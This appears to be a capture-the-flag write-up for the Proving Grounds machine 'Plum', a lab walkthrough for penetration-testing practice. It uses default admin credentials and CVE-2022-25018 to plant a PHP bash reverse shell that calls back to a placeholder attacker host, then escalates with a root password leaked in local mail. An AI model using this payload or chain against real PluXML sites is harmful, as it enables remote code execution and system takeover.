Skip to content
HackIndex.io

Plum Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

The Husky Hacker

sysadmin

Plum runs PluXML 5.8.7 with its default admin:admin credentials. The static page editor accepts raw PHP (CVE-2022-25018), which gives a www-data shell, and a plaintext root password sitting in local mail finishes the job.

Reconnaissance

Nmap

Scan all ports and grab service versions.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- $TARGET_IP 
22/tcp open ssh   OpenSSH 8.4p1 Debian
80/tcp open http  Apache httpd 2.4.56 (Debian)
  http-title: PluXml - Blog or CMS, XML powered !
Explain command
-sC Run default Nmap scripts.
-sV Probe open ports for service/version info.

Port 80 serves PluXML, a file-based CMS that stores content in XML instead of a database. Its admin panel sits at /core/admin/ and accepts the default credentials.

Exploitation

PHP injection via static pages (CVE-2022-25018)

Log in to /core/admin/ with admin:admin, open Static pages in the sidebar, and replace the content of Static 1 with a PHP reverse shell.

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"); ?>

Save the page and start a listener.

┌──(kali㉿kali)-[~]
└─$ nc -nlvp $ATTACKER_PORT 
listening on [any] $ATTACKER_PORT ...
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.

Browse to the static page to trigger it.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/index.php?static1/ 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as www-data, since PluXML's static page editor happily runs whatever PHP is pasted into it.

Privilege Escalation

Credentials in local mail

Check local mail, a step tools like LinPEAS flag automatically.

┌──(kali㉿kali)-[~]
└─$ cat /var/mail/* 
Subject: URGENT - DDOS ATTACK
<snip>
root password: $ROOT_PASSWORD

An email from root to www-data leaks the root password in plaintext.

┌──(kali㉿kali)-[~]
└─$ su root 
Password: $ROOT_PASSWORD
root@plum:~# id
uid=0(root) gid=0(root) groups=0(root)

The leaked password switches straight to root.

Related

Credential Hunting for Linux Privilege Escalation
Blog

Credential Hunting for Linux Privilege Escalation

Techniques for locating stored credentials on Linux systems, including config files, history, enviro...
Credential Reuse for Lateral Movement on Linux
Blog

Credential Reuse for Lateral Movement on Linux

Techniques for exploiting reused credentials across Linux systems to move laterally, covering SSH, s...
CMS Detection and Fingerprinting
Blog

CMS Detection and Fingerprinting

Identifies CMS platforms (WordPress, Joomla, Drupal) via HTTP responses, meta tags, file paths, and...

References